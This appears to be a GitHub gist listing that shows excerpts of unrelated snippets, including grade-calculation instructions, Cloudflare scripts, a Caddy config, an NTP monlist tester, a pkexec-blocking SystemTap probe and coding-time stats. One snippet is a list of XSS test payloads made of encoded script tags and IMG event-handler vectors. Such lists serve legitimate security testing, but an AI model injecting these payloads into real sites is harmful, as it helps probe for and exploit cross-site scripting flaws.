- 把 main.js 存起來
- 在同個資料夾跑
npm install xlsx
- 在教務系統載成績報表,然後把報表的 path 放進 main.js 裡面(89 行)
-
$ node main.js [ [ 2, 4.3 ], [ 2, 4 ], [ 2, 4 ], [ 2, 3.7 ], [ 3, 4 ], [ 3, 4 ],
[ 3, 3.7 ], [ 1, 4.3 ], [ 3, 1 ],
#!/usr/bin/env bash | |
lookup() { | |
ips=$(dig @1.1.1.1 +short $1.cdn.cloudflare.net) | |
echo "$1:" | |
for ip in $ips; do | |
curl -s --resolve $1:443:$ip https://$1/cdn-cgi/trace | grep "colo=" | |
done | |
echo "" |
#!/bin/bash | |
TOKEN="xxxxxxxxxxxxxxxxxxx" | |
ZONE_ID=2222222222222222222222222 | |
# EMAIL=me@gmail.com | |
# KEY=11111111111111111111111111 | |
# Replace with | |
# -H "X-Auth-Email: ${EMAIL}" \ | |
# -H "X-Auth-Key: ${KEY}" \ |
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
:3000 { | |
root * /app | |
try_files {path}.html {path} /index.html | |
file_server | |
header { | |
-server | |
} | |
} |
#!/usr/bin/env python | |
# | |
# Requirements: ntplib (easy_install ntplib) | |
# | |
# How to use it using GNU parallel (to run in //): | |
# | |
# cut -f1 -d";" ntp-monlist-servers.csv | parallel "python test-ntp.py --ip {1}" | |
# | |
# Software is free software released under the "Modified BSD license" | |
# |
probe process("/usr/bin/pkexec").function("main") { | |
if (cmdline_arg(1) == "") | |
raise(9); | |
} |
Nix 15 hrs 15 mins ████████▍░░░░░░░░░░░░ 40.3% | |
Cheetah 10 hrs 14 mins █████▋░░░░░░░░░░░░░░░ 27.1% | |
PHP 3 hrs 17 mins █▊░░░░░░░░░░░░░░░░░░░ 8.7% | |
Other 3 hrs 11 mins █▊░░░░░░░░░░░░░░░░░░░ 8.4% | |
JavaScript 1 hr 18 mins ▋░░░░░░░░░░░░░░░░░░░░ 3.5% |